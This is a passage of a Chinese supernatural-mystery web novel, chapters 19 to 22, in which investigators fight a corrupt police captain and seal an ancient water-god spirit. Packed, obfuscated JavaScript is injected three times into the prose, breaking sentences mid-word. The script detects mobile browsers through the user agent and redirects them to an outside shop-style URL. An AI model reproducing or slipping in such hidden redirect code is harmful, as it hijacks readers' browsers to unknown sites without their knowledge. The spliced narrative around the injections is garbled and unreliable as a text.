张队冷笑:“疯的是你们,非要搅这趟浑水。吴天泽早就联系我了,只要拿到真印,我就能成为新的清理者首领,掌控怨煞力量。”他的目光落在苏怀薇身上,“水生的血,问阴婆的血,还有守护者的血,三血合一,不仅能激活真印,还能让水神遗骸彻底复苏,到时候,清河县就是我的天下!” “你早就和吴天泽勾结?!”楚遥怒喝,“老警察的脑溢血、押运车爆炸,都是你干的?” “是又怎么样?”张队步步紧逼,“吴天泽带着核心秘密在外面接应,我在这里拿到真印,我们双赢。识相的,把宋溪月和苏怀薇交出来,我可以饶你们不死。” 江磊挡在我们身前,举起铜戒:“想动她们,先过我这关!”铜戒发出金光,与张队身上的怨煞之气碰撞,发出滋滋声响。 “守护者血脉?可惜,不够强!”张队开枪射击,子弹擦着江磊的胳膊飞过,击中身后的墙壁,碎石四溅。 楚遥趁机反击,与张队展开枪战。通道内枪声回荡,怨魂被枪声惊动,开始疯狂撞击通道入口,石门摇摇欲坠。 “不能再等了!”苏怀薇拉住我,“激活真印,或许能镇压怨魂,还能制服张队!” 我点头,咬破指尖,鲜血滴在真印上;苏怀薇也毫不犹豫,指尖血珠落在真印旁。两道血痕顺着真印纹路蔓延,金光暴涨,水神遗骸突然震动,胸口的真印发出耀眼的光芒,将整个主殿照亮。 张队被金光刺痛眼睛,下意识闭眼。楚遥趁机上前,一脚踹掉他手中的枪,反手将他按在地上,手铐“咔嚓”锁上。 “你以为吴天泽真的会让你掌权?”楚遥冷笑,“他不过是利用你,等你拿到真印,他就会杀了你灭口!” 张队挣扎着嘶吼:“不可能!他答应过我的!” 就在这时,水神遗骸的手指突然剧烈动弹,胸口的真印金光越来越盛,石碑上的篆字开始发光,浮现出新的译文:“水神非神,乃上古怨煞所化,封印万年,需三血合一之魂献祭,方得彻底复苏。” “什么?!”我们同时惊呼。 原来水神根本不是神明,而是万年前的怨煞源头!吴茂林、吴天泽想要唤醒的,是足以毁灭一切的恐怖存在! “不好!吴天泽的终极计划,是用我们的魂献祭!”我大喊,真印的金光开始拉扯我们的魂魄,胸口传来强烈的窒息感。 江磊立刻举起铜戒,金光形成一道屏障,暂时挡住拉扯力:“奶奶的铜戒能镇压怨煞,或许能暂时稳住真印!” 苏怀薇的银锁也发出白光,与铜戒、真印形成三足鼎立之势:“银锁在抵抗真印的力量!但我撑不了多久!” 张队看着这一幕,突然疯狂大笑:“没用的!三血合一的契约已经生效,你们的魂早晚是水神的祭品!吴天泽说过,只要水神复苏,他就能成为水神的使者,掌控一切!” “吴天泽在哪?”楚遥厉声追问。 “他在古城顶端的祭祀台!等着接收水神的力量!”张队嘶吼。 我们对视一眼,立刻做出决定:“楚遥,你带着张队和小王出去,联系警力包围祭祀台;我、苏怀薇、江磊留下来,想办法关闭真印,阻止水神复苏!” 楚遥点头:“小心!我会尽快回来支援!” 楚遥押着张队离开后,主殿内的震动越来越剧烈,水神遗骸的手臂开始抬起,眼睛缓缓睁开一条缝,透出青黑色的怨煞之气。 “真印的力量越来越强,我们的魂魄快被吸走了!”苏怀薇脸色苍白,银锁的白光逐渐暗淡。 江磊的铜戒也开始发烫:“奶奶的日记里写过,守护者的使命是‘破印而非守印’,或许我们不是要关闭真印,而是要毁掉它!” “毁掉真印?”我看着水神遗骸胸口的真印,金光中夹杂着青黑色,“但真印是唯一能镇压怨煞的东西,毁掉它,怨煞会彻底失控!” 就在这时,苏怀薇的银锁突然飞向真印,与真印紧紧贴合:“银锁在吸收真印的力量!我能感觉到,真印里不仅有怨煞之力,还有梅芳她们的残魂!” “梅芳的残魂?”我想起梅芳的头发曾用来做引魂术,“她们的残魂被封印在真印里,成为水神的养料!” “我们可以用银锁和铜戒,将残魂从真印中剥离,让她们的力量反噬水神遗骸!”江磊大喊,将铜戒也按在真印上。 我立刻咬破舌尖,一口鲜血喷在真印上,问阴婆的血脉之力爆发,与银锁、铜戒形成共鸣。真印中的残魂被唤醒,化作点点荧光,围绕着水神遗骸盘旋,发出凄厉的嘶吼。 “以水生之名,唤百年之魂!”苏怀薇大喊。 “以守护者之名,破万年之印!”江磊紧随其后。 “以问阴婆之名,解千年之怨!”我举起水神令牌,红光暴涨。 三道力量交织,残魂们化作一道光柱,狠狠撞向水神遗骸。水神遗骸发出一声非人的嘶吼,胸口的真印开始龟裂,青黑色的怨煞之气疯狂溢出,却被残魂的力量压制,无法扩散。 “真印要碎了!”苏怀薇大喊,“但水神遗骸还没被彻底封印!” 水神遗骸的眼睛完全睁开,青黑色的怨煞之气凝聚成利爪,朝着我们抓来。就在这时,通道外传来脚步声,楚遥带着小李冲了进来:“吴天泽在祭祀台启动了引魂阵,外面的怨魂都被吸引过去了!我们必须尽快解决这里,去阻止他!” “引魂阵?他要加速水神复苏!”我心头一沉,真印已经龟裂,无法再镇压怨煞,而水神遗骸的力量越来越强。 江磊突然做出一个惊人的决定:“我来拖住它!你们去阻止吴天泽!奶奶的铜戒能暂时困住它,我会想办法毁掉它的核心!” “不行!太危险了!”我大喊。 “这是守护者的使命!”江磊眼神坚定,将铜戒按在水神遗骸的眉心,“宋溪月,苏怀薇,拜托你们,结束这一切!” 铜戒发出耀眼的金光,将水神遗骸暂时困住。江磊推着遗骸,一步步走向主殿深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“江磊!”我大喊,心头一紧。 水神遗骸的力量比之前更强,青黑色的怨煞之气凝聚成巨大的利爪,朝着我们抓来。苏怀薇的银锁突然发出强烈的白光,与我手中的水神令牌、地上的真印碎片形成共鸣,一道红白金三色光柱直冲天际,击中水神遗骸的胸口。 水神遗骸发出一声凄厉的嘶吼,身体开始消散,怨煞之气被光柱净化。但在它消散的瞬间,一道青黑色的虚影从遗骸中飞出,钻进了吴天泽的身体。 吴天泽的身体开始扭曲,眼神变得疯狂:“水神之力……是我的!” 他挣脱小李的束缚,冲向苏怀薇:“我需要水生的血,完成最后的融合!” 苏怀薇毫不犹豫,咬破指尖,鲜血滴在银锁上:“以水生之名,封印怨煞!” 银锁白光暴涨,将吴天泽包裹,青黑色的虚影被强行从他体内拉出,化作黑烟消散。吴天泽瘫倒在地,彻底失去意识。 我们赶到主殿,发现江磊躺在暗门后,昏迷不醒,胸口的铜戒碎片还在发光。楚遥检查后松了口气:“只是脱力和轻微外伤,没有生命危险。” 就在这时,祭祀台的地面裂开,露出一个暗格,里面放着一本泛黄的古籍,正是吴茂林提到的“契约古籍”。古籍上写着:“水神已灭,怨煞未消,十年之约,容器降世,换魂之期,终会降临。” 我们收拾好古籍和真印碎片,准备离开古城。苏怀薇的银锁突然飞向暗格,与里面的一道红光结合,化作一枚完整的“水神符印”。 “这是……完整的封印符印?”苏怀薇拿起符印,上面刻着一行小字:“容器非生,乃魂之转世,十年之后,水神残魂将借容器重生,唯一破解之法,藏于清河县老宅的问阴婆手札。” 清河县老宅?姥姥的手札? 我们刚走出古城,就接到小李的电话,声音急促:“楚队!不好了!张队不见了!他被押往警局的路上,押送车被不明势力劫持,现场只留下一枚‘影’字令牌!” 张队被救走了?背后还有更高层级的势力? 江磊缓缓醒来,虚弱地说:“我在主殿暗门后,看到了奶奶的残影,她告诉我,十年之约的真正含义,是水神残魂与容器的换魂,而容器……早已降生,就在清河县!” 容器早已降生?是谁? 清河县的夜空,怨煞之气渐渐消散,但新的谜团却越来越多:张队背后的势力、早已降生的容器、姥姥手札里的破解之法、水神残魂的阴谋…… 这场跨越千年的契约骗局,似乎远未结束。 20. 第 20 章 清河县老宅的木门吱呀作响,积灰的窗棂透进细碎的阳光,空气中弥漫着陈年木料与草药混合的味道。 我握着水神令牌,掌心炙痕隐隐发烫。苏怀薇颈间的银锁持续震动,江磊扶着门框,脸色还带着刚苏醒的苍白,手里紧紧攥着奶奶的铜戒碎片。楚遥则拿着劫持案的现场照片,眉头紧锁。 “姥姥的手札应该藏在西厢房的暗格。”我推开积满灰尘的房门,“小时候我偷闯进来过,被姥姥罚跪了一下午,她当时说,这里藏着‘不能碰的秘密’。” 西厢房陈设简陋,只有一张旧木床和一个掉漆的衣柜。我走到衣柜前,按姥姥手札里的提示,按压柜角的雕花,“咔哒”一声,衣柜侧面的木板弹出一个暗格。 暗格里没有完整的手札,只有几页泛黄的残纸,上面的字迹模糊,但仍能辨认出关键语句:“容器生于水日,额有玉印纹,与水神印同源;残魂寄于潭底,需手札全卷方可镇压;宗族守印,世代不休。” “水日?玉印纹?”苏怀薇摸了摸自己的额头,“我生日是雨水节气,算不算水日?但我额头没有印记。” 江磊突然开口:“奶奶残影说,容器在清河县,和我们有过交集。” 楚遥放下照片:“劫持张队的押送车现场,发现了一枚特殊的族徽——青蛇缠柳纹。清河县只有一个古老宗族用这个徽记,就是住在城郊的柳家,据说祖上是守护清水潭的‘守印人’。” “守印人?”我心头一沉,“姥姥手札里提过‘宗族守印’,难道柳家就是张队背后的势力?” (OS:绕来绕去,又回到了清河县本地势力,这副本真是层层嵌套,CPU都要烧了!) 就在这时,苏怀薇的银锁突然剧烈震动,白光直射门外。我们冲出老宅,银锁的光芒指向城郊方向——正是柳家所在的村落。 “银锁在指引我们找容器!”苏怀薇眼神坚定,“它感应到了同源的气息!” 楚遥立刻联系当地派出所:“查一下柳家村近期的户籍记录,重点排查十年内出生、额头有印记的孩子!” 驱车前往柳家村的路上,楚遥收到反馈:“柳家村十年内出生的孩子里,只有一个符合条件——柳念水,今年九岁,雨水节气出生,额头有块淡红色的印记,像缩小的水神印。更关键的是,她的监护人是柳家族长柳万山,而柳万山曾是吴茂林的部下!” “吴茂林的部下?”江磊攥紧铜戒,“这不是巧合!柳家就是‘清理者’的残余势力,他们一直在守护容器!” 车子驶入柳家村,村口的老槐树下,几个村民正围在一起议论,看到我们的车,眼神瞬间变得警惕。苏怀薇的银锁光芒越来越亮,直指村尾的一栋青砖瓦房。 “就是这里。”苏怀薇压低声音,银锁的白光已经凝成细线,缠绕在瓦房的门环上。 楚遥示意我们隐蔽,自己先上前敲门。开门的是一个白发老人,眼神锐利如鹰,正是柳万山。 “几位找谁?”柳万山语气平淡,却透着疏离。 “我们找柳念水小朋友,想了解一些情况。”楚遥亮出证件。 柳万山脸色微变,侧身挡住门:“念水不在家,你们有什么事可以跟我说。” 苏怀薇的银锁突然挣脱她的手,飞向屋内。柳万山脸色大变,猛地关门,却被楚遥一把按住。 “柳族长,没必要藏着掖着吧?”楚遥语气凌厉,“张队被救走的现场,有柳家的族徽。你和‘清理者’、吴茂林到底是什么关系?” 柳万山眼神闪烁,突然大喊:“来人!有外人闯村!” 村里瞬间冲出几个青壮年,手里拿着木棍,将我们围在中间。江磊立刻挡在我和苏怀薇身前,举起铜戒:“奶奶是周桂芬,清理者的守护者!我们不是来伤人的,是来阻止水神残魂复苏的!” “周桂芬?”柳万山一愣,敌意稍减,“她还活着?” “奶奶用生命暂时压制了水神遗骸,但残魂快挣脱了!”江磊急道,“容器是唯一能阻止它的关键,我们必须找到柳念水!” 柳万山沉默片刻,突然让开门口:“进来吧。念水确实在,但你们要答应我,不能伤害她。” 走进瓦房,一个梳着羊角辫的小女孩正坐在院子里画画,额头上果然有一块淡红色的印记,与水神印的纹路一模一样。看到我们,她怯生生地站起来,手里的画笔掉在地上。 苏怀薇的银锁飞到柳念水面前,发出柔和的白光。柳念水伸手触碰银锁,银锁突然融入她的掌心,她额头的印记瞬间变红,与我手中的水神令牌产生强烈共鸣。 “真的是她!”我激动地握紧令牌,“她就是容器!” 柳万山叹了口气:“念水是吴茂林临终前托付给我的。他说,容器不是水神的祭品,是唯一能彻底封印残魂的钥匙。柳家世代守印,就是为了保护她,等合适的时机,用手札里的方法完成封印。” “那你为什么救走张队?”楚遥追问。 “张队不是我救的。”柳万山摇头,“柳家有内鬼,是叛徒勾结外部势力救走了他。他们想利用张队找到容器,用她唤醒水神残魂,掌控怨煞之力。” (OS:好家伙,还有内鬼?这剧情反转比翻书还快!) 就在这时,柳念水突然脸色发白,捂住胸口:“好冷……有东西在叫我……” 她额头的印记越来越红,院子里的井水开始翻涌,一股青黑色的怨煞之气从井底冒出。苏怀薇的银锁从柳念水掌心飞出,与水神令牌、铜戒形成三足鼎立之势,白光、红光、金光交织,暂时压制住怨煞之气。 “是水神残魂!它感应到容器的气息,提前苏醒了!”我大喊,“柳族长,手札全卷在哪里?没有它,我们无法完成封印!” 柳万山脸色凝重:“手札全卷在老宅地下的密室,只有容器的血能打开。但现在残魂逼近,我们没时间了!” 柳念水突然开口,声音变得空灵:“我知道密室在哪……姥姥告诉我的……” 她拉起我的手,走向老宅后院的枯井。柳念水踮起脚尖,按压井壁的一块凸起的石头,枯井底部突然传来机关转动的声音,井底裂开一道石门。 “下去吧。”柳念水眼神坚定,“姥姥说,我生来就是为了终结这一切。” 我们顺着石阶往下走,通道狭窄潮湿,墙壁上刻满诡异的符文。走到尽头,是一间不大的密室,中央的石台上放着一个锦盒,正是姥姥的手札全卷。石台前的凹槽,与柳念水额头的印记完全契合。 “需要我的血。”柳念水咬破指尖,将鲜血滴入凹槽。石台发出红光,锦盒自动打开,手札全卷完整地呈现在我们面前。 我快速翻阅手札,找到封印方法:“需要容器的血、水神印、银锁、铜戒,还有问阴婆的血,在清水潭底的封印阵启动仪式。但仪式启动时,水神残魂会全力反扑,需要有人守住阵眼!” “我来守阵眼。”柳万山站出来,“柳家守印世代,该有个了断。” 就在我们准备离开密室时,通道突然传来剧烈的震动,青黑色的怨煞之气涌入,张队的声音带着阴冷的笑意传来:“柳万山,你果然背叛了我们!容器和手札,都是我的!” 张队带着几个穿着黑色冲锋衣的人出现在通道口,手里拿着枪,枪口对准我们。他的脸上爬满青黑色的纹路,显然被水神残魂侵蚀,成了残魂的傀儡。 “张队,你醒醒!你被残魂控制了!”楚遥大喊,举起枪对准张队。 “控制?”张队冷笑,“我是自愿的!只要得到容器,我就能成为新的水神,掌控一切!” 他挥手示意手下开枪,楚遥立刻反击,枪声在密室通道里回荡。江磊举起铜戒,金光爆发,逼退靠近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182841|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨煞之气。苏怀薇护住柳念水,银锁白光暴涨,挡住飞来的子弹。 我握紧水神令牌和手札,拉着柳念水往密室深处退:“楚遥,江磊,你们拖住他们!我带念水去清水潭启动仪式!” 柳万山拔出墙上的青铜剑,挡在通道口:“快走!我来拦住他们!” 我们趁机冲出密室,直奔清水潭。一路上,怨煞之气越来越浓,天空变得阴沉,清水潭的水翻涌成巨大的漩涡,青黑色的残魂虚影在漩涡中凝聚,发出刺耳的嘶吼。 来到清水潭边,我按照手札的指示,在潭边的石碑上刻下符文,苏怀薇将银锁嵌入石碑凹槽,江磊(他摆脱追兵赶来)将铜戒放在银锁旁边。柳念水咬破指尖,将鲜血滴在石碑上,我也咬破舌尖,将问阴婆的血滴入。 “以容器之名,引残魂归位!”柳念水大喊。 “以水神印之力,镇千年怨煞!”我举起水神令牌,红光暴涨。 清水潭的漩涡越来越大,水神残魂的虚影从漩涡中升起,化作一个青黑色的巨人,朝着我们扑来。柳念水额头的印记爆发出耀眼的红光,与石碑上的符文呼应,形成一道红色的屏障,挡住残魂的攻击。 “守住阵眼!仪式需要三分钟!”我大喊,掌心的炙痕烫得惊人。 张队带着人赶到,他疯狂地冲向石碑:“我不会让你们成功的!” 楚遥和江磊立刻上前阻拦,与张队的手下展开激烈打斗。柳万山也赶了过来,青铜剑划破张队的手臂,青黑色的怨煞之气从伤口溢出。 “柳万山,你找死!”张队怒吼,身上的怨煞之气暴涨,一拳将柳万山打倒在地。 就在张队即将冲到石碑前时,柳念水突然扑过去,抱住张队的腿:“不许伤害姐姐们!” 张队眼中闪过一丝挣扎,似乎被柳念水的纯真触动,但很快被怨煞之气覆盖,他抬起手,朝着柳念水拍下。 “不要!”我大喊,水神令牌红光暴涨,击中张队的后背。张队惨叫一声,倒在地上,身上的怨煞之气消散了不少,眼神恢复了一丝清明。 “快……杀了我……残魂快控制不住了……”张队艰难地说。 柳万山爬起来,青铜剑对准张队:“柳家的罪,我来终结。” 剑光闪过,张队倒在地上,怨煞之气从他体内涌出,被石碑的符文吸收。 此时,仪式终于完成,石碑发出发出耀眼的红光,清水潭的漩涡停止转动,水神残魂的虚影被红光包裹,逐渐被吸入石碑。柳念水额头的印记渐渐变淡,恢复成淡红色的小印记。 我们松了口气,瘫坐在地上。柳万山看着平静的清水潭,露出释然的笑容:“终于结束了。” 就在我们以为危机解除时,柳念水突然脸色发白,捂住胸口,从口袋里掏出一块玉佩,是之前藏在身上的。玉佩突然裂开,里面掉出一张纸条,上面是吴茂林的字迹: “容器并非终结,而是开端。水神遗骸未灭,十年之约只是幌子,真正的危机,藏在水下古城的地心深处。柳念水的血脉,不仅能封印残魂,还能唤醒真正的水神。手札最后一页,我藏了真相,去找吧。” 我们震惊地看着纸条,手札最后一页果然被撕掉了。柳念水的玉佩裂开后,清水潭再次开始震动,潭底传来沉闷的轰鸣声,古城的虚影在潭底浮现,比之前更加清晰。 “水下古城的地心深处?”楚遥脸色凝重,“吴茂林还有没说完的秘密!” 柳念水突然开口:“我能感觉到……地心深处有个东西在叫我……它说,我是水神的转世……” 她额头的印记再次变红,与潭底的古城虚影产生共鸣。清水潭的水开始沸腾,青黑色的怨煞之气再次冒出,比之前更加浓郁。 真正的水神?转世?吴茂林藏起来的真相到底是什么?水下古城的地心深处,到底藏着什么恐怖的秘密? 21. 第 21 章 清水潭的涟漪还在扩散,青黑色的怨煞之气却诡异地收敛,潭面平静得像一面镜子,倒映着云层里若隐若现的古城虚影。柳念水攥着裂开的玉佩,额头的淡红印记忽明忽暗,眼神里透着与年龄不符的迷茫。 “它在叫我……”小女孩的声音轻飘飘的,带着一丝空灵,“从潭底来的,很深很深的地方。” 我握着水神令牌,掌心炙痕烫得惊人,令牌的红光与柳念水额头的印记遥遥呼应,像是在进行一场跨越千年的对话。苏怀薇的银锁悬在半空,白光微微震颤,楚遥蹲下身,小心翼翼地捡起那张吴茂林的纸条,指尖因用力而泛白。 “手札最后一页被撕了,肯定藏着关键。”楚遥的声音凝重,“柳族长,老宅密室里有没有其他暗格?吴茂林这种人,绝不会只留一条线索。” 柳万山捂着胸口的伤口,脸色苍白如纸,他摇了摇头,又像是想起什么,眼睛骤然亮起:“有!密室石壁上的符文,最底下那行是错的!我小时候试过,按下去会弹出一个暗仓!” 我们立刻折返柳家老宅的密室。石壁上的符文密密麻麻,最底端那行果然刻得歪歪扭扭,与周围工整的篆字格格不入。江磊伸手按压符文,只听“咔哒”一声轻响,石壁上弹出一个巴掌大的暗仓,里面放着一卷用油纸包裹的残页——正是手札的最后一页。 油纸被岁月浸得泛黄,字迹却依旧清晰,是姥姥文秀娥的笔迹,旁边还附着吴茂林的批注: “水神非神非煞,乃上古治水之巫,以身化印,封印潭底怨煞之源。千年后印力衰竭,怨煞外泄,巫之魂魄转世为‘容器’,引怨煞归体,再化印封煞。此乃轮回,非诅咒。 吴茂林批注:文秀娥欺世!转世非封煞,乃释煞!巫之魂魄与怨煞同源,转世觉醒之日,便是怨煞破印之时!柳念水,巫之第七世转世,亦是怨煞之钥!” “治水之巫?转世轮回?”苏怀薇倒吸一口凉气,银锁的白光突然变得炽烈,“这么说,柳念水不是用来封印的容器,是打开怨煞之源的钥匙?” 柳万山瘫坐在地上,喃喃自语:“难怪……难怪柳家祖训说,守印人需护容器周全,却绝不能让她靠近潭底地心。我们守了千年,竟守了个祸根……” 柳念水突然走上前,拉住我的手,她的掌心冰凉,额头的印记红光暴涨:“姐姐,我能感觉到,地心深处有个和我一样的东西。它说,只要我下去,就能‘回家’。” 话音未落,密室突然剧烈震动,石壁上的符文纷纷剥落,潭水倒灌的声音从通道口传来。楚遥的对讲机里响起小李急促的声音:“楚队!不好了!清水潭中央塌陷了!露出一个通往地心的洞口!怨煞之气比之前强十倍!” 我们冲出密室,直奔清水潭。只见潭水中央裂开一道巨大的深渊,深不见底,青黑色的怨煞之气从深渊里喷涌而出,化作无数张牙舞爪的虚影。古城的虚影不再漂浮,而是缓缓下沉,朝着地心洞口靠拢,仿佛要回归它真正的位置。 “古城要沉进地心了!”江磊大喊,铜戒碎片在他掌心发光,“奶奶的残魂告诉我,地心深处是怨煞之源,也是水神印的诞生地!吴茂林的终极目标,就是让柳念水在那里觉醒!” 张队的尸体不知何时被怨煞之气包裹,缓缓飘向深渊,他的嘴里溢出黑色的雾气,凝成一行字:“觉醒之时,万煞归位,清河县,炼狱也。” 柳念水看着深渊,眼神里的迷茫渐渐褪去,取而代之的是一种近乎本能的渴望。她挣脱我的手,一步步走向潭边,银锁的白光追着她,却被怨煞之气挡在三尺之外。 “念水!回来!”柳万山嘶吼着冲过去,却被一道怨煞之气凝成的屏障弹开,“你不能去!那是陷阱!” “不是陷阱……”柳念水回头,脸上露出一抹天真的笑,“它说,我是它的一部分,我该回去的。” 我突然想起手札上的话,心头一动:“吴茂林的批注是假的!姥姥的手札写得很清楚,转世是轮回,是巫以身化印的延续!柳念水,你不是钥匙,你是新的水神印!” 我的话音刚落,掌心的炙痕突然炸开一道红光,水神令牌挣脱我的手,飞向柳念水。令牌与她额头的印记接触的瞬间,一道刺眼的光柱冲天而起,光柱里浮现出无数画面——上古洪水滔天,一个穿着粗布衣裳的女子,手持玉佩,纵身跳入洪水,化作一道金光,洪水退去,金光沉入潭底,化作一枚玉佩。 “那是第一代水神巫!”柳万山失声痛哭,“祖祖辈辈传的故事,是真的!” 光柱里的画面继续流转,每一世的转世者,都在怨煞外泄时,以身化印,镇压潭底。姥姥文秀娥的身影也在其中,她年轻时站在潭边,手里握着同样的令牌,眼神坚定如铁。 “原来如此……”柳念水喃喃自语,额头的印记突然变得滚烫,她低头看着自己的掌心,那里不知何时出现了一枚与水神令牌一模一样的纹路,“我不是要回家,我是要……守住这里。” 她转过身,迎着怨煞之气,一步步走向深渊。银锁的白光终于冲破屏障,落在她的肩头,江磊的铜戒碎片也飞了过去,贴在她的后背。我和苏怀薇对视一眼,毫不犹豫地跟上——我们不能让她一个人去。 楚遥立刻调度警力:“所有人!撤离清河县!方圆十里,划为禁区!小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182842|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李,带一队人守住潭边,任何人不得靠近!” 柳万山捡起地上的青铜剑,跟在我们身后:“柳家守印千年,该轮到我了!” 深渊底下,是一个巨大的溶洞,溶洞中央,悬浮着一枚巨大的黑色晶石,晶石周围缠绕着无数怨煞之气,正是怨煞之源。古城的虚影落在溶洞顶端,那些残破的建筑里,隐隐传来无数冤魂的呜咽。 柳念水走到晶石前,伸出手,掌心的纹路与晶石的纹路完美契合。她回头看着我们,露出一抹释然的笑:“姐姐们,帮我个忙,把银锁和铜戒,嵌进晶石的凹槽里。” 我们按照她说的做,银锁嵌在晶石左侧,铜戒碎片嵌在右侧。当最后一块碎片归位时,晶石突然剧烈震动,怨煞之气疯狂地朝着柳念水涌去。 “以我之身,化天地之印,镇万煞,守清河,此身不灭,此印不毁!” 柳念水的声音响彻溶洞,她的身体渐渐变得透明,与水神令牌、银锁、铜戒融为一体,化作一道金色的光幕,笼罩住黑色晶石。怨煞之气的嘶吼声越来越弱,最终被光幕彻底吞噬。 溶洞的震动停止了,古城的虚影缓缓消散,地心洞口开始缓缓闭合。我们瘫坐在地上,看着那道金色的光幕,泪水无声地滑落。 柳万山跪在地上,朝着光幕磕了三个响头:“柳家千年之责,今日,终了。” 就在我们以为一切都结束时,金色的光幕突然闪烁了一下,一道细微的黑色雾气,从光幕的缝隙里钻了出来,悄无声息地落在我的袖口上。 我下意识地抬手,却什么也没摸到,只有掌心的炙痕,传来一阵刺骨的凉意。 我们走出溶洞,清河县的天空已经放晴,阳光洒在潭面上,波光粼粼,仿佛什么都没发生过。楚遥正在清点人数,小李突然跑过来,手里拿着一个从张队身上搜出来的笔记本:“楚队!张队的笔记本!里面记着一个秘密!” 我们围过去,笔记本的最后一页,画着一个诡异的图案——是一个小女孩的侧脸,额头有淡红印记,旁边写着一行字:“转世非唯一,怨煞之源,藏三魂七魄,一魄未灭,万煞再起。十年之后,另一转世,降生于清河。” 另一转世?! 我们同时看向潭面,金色的光幕依旧闪耀,但谁也不知道,那道溜走的黑色雾气,会带来什么。 更让人心惊的是,我的袖口突然发烫,那道黑色雾气凝成一个极小的“影”字,瞬间消失不见。掌心的炙痕,再次开始发烫,比之前任何一次都要剧烈。 我低头看着自己的掌心,那里的纹路,不知何时,竟与柳念水掌心的纹路,有了几分相似。 22. 第 22 章 清河县的阳光穿透云层,洒在平静的清水潭面上,金色光幕如薄纱笼罩潭心,将最后一丝怨煞之气牢牢锁在溶洞深处。我们站在潭边,看着柳万山将青铜剑插入潭畔的石座,剑身上刻着的“守印”二字,在阳光下泛着冷冽的光。 楚遥合上张队的笔记本,指尖冰凉:“另一转世,十年降生。这是吴茂林早就布下的局?还是怨煞之源的本能反扑?” 江磊攥着奶奶的铜戒碎片,掌心的温度还未散去:“奶奶的残魂说过,怨煞之源的三魂七魄,最善隐匿。当年吴茂林能找到柳念水,未必不能算到另一转世的踪迹。” 我下意识地摩挲袖口,那里的灼痛感时隐时现,掌心的炙痕纹路愈发清晰,竟与柳念水掌心的印记隐隐重合。苏怀薇敏锐地察觉到我的异样,伸手覆上我的手背:“溪月,你怎么了?脸色这么白。” 我摇摇头,强压下心头的悸动:“没事,可能是刚才在溶洞里耗损太多精力。”可只有我自己知道,那道溜走的黑色雾气,就像一颗埋在血肉里的种子,正随着脉搏的跳动,悄然生根。 柳万山转身看向我们,眼中带着疲惫的释然:“柳家世代守印,如今念水以身化印,总算了却千年夙愿。只是……”他话锋一转,目光落在潭心的金色光幕上,“光幕虽稳,却少了一丝生气。我总觉得,事情不会这么轻易结束。” 话音刚落,潭心的光幕突然轻轻一颤,一道极细的黑色丝线从光幕缝隙中钻出,如游丝般飘向县城的方向,转瞬即逝。 “那是什么?!”楚遥警觉地掏出枪,目光紧锁着丝线消失的方向。 “是怨煞的残魄!”我脱口而出,掌心的炙痕猛地发烫,“它在找宿主!另一转世的气息,已经被它锁定了!” 我们立刻驱车赶往县城。街道上恢复了往日的喧嚣,小贩的叫卖声、孩童的嬉闹声交织在一起,谁也不知道,一场潜藏的危机正在悄然酝酿。苏怀薇的银锁在包里微微震动,白光透过布料,指向城南的一栋老旧居民楼。 “是这里。”苏怀薇停住脚步,银锁的白光愈发炽烈,“里面有和念水一样的气息,还有……怨煞残魄的味道。” 居民楼的铁门锈迹斑斑,我们推门而入,潮湿的霉味扑面而来。楼道里的声控灯忽明忽暗,银锁的白光指引着我们来到三楼的一户人家门前。门上贴着褪色的福字,门楣上挂着一个小小的桃木牌,牌上刻着的纹路,竟与水神印的一角一模一样。 楚遥轻轻叩门,片刻后,门内传来一个女人温柔的声音:“谁呀?” 门开了,一个抱着婴儿的年轻女人出现在门口,她的眉眼间带着几分怯生生的温柔。婴儿躺在襁褓里,睡得正香,额头处有一块淡红色的印记,比柳念水的印记浅了几分,却纹路一致。 “你们是……”女人有些疑惑地看着我们。 “我们是警察,想向您了解一些情况。”楚遥亮出证件,目光落在婴儿的额头上,“这孩子……叫什么名字?生日是什么时候?” 女人抱着婴儿往后退了一步,警惕地抿紧嘴唇:“你们问这个干什么?” “嫂子,您别害怕。”我走上前,尽量让自己的语气温和,“我们不是来伤害孩子的,只是想保护她。这孩子的额头……是不是从小就有这块印记?” 女人的眼神闪烁了一下,沉默良久,才点了点头:“孩子叫林溪月,出生在去年的雨水节气。出生时额头就有这块红印,医生说会慢慢消掉,可到现在都没褪。” 林溪月?和我同名?! 我浑身一震,掌心的炙痕烫得几乎要烧起来。苏怀薇的银锁突然从包里飞出,悬在婴儿的头顶,白光温柔地笼罩着她,婴儿咂了咂嘴,睡得更香了。 “双生转世……”柳万山喃喃自语,眼中满是震惊,“祖训里提过,水神巫的转世,分阴阳二魄。阳魄主封印,就是念水;阴魄主守护,竟是这个孩子!” “阴魄守护?”江磊不解,“那怨煞残魄为什么会找她?” “因为阴魄是阳魄的软肋。”我缓缓开口,掌心的炙痕与婴儿额头的印记产生了奇妙的共鸣,“毁了阴魄,阳魄的封印就会松动。吴茂林的笔记本里写的‘另一转世’,根本不是新的容器,而是用来要挟柳念水的棋子!” 就在这时,婴儿突然哭了起来,哭声尖锐刺耳。女人慌了手脚,抱着孩子轻轻拍着,可婴儿的哭声却越来越大,额头的红印迅速变深,隐隐有发黑的趋势。 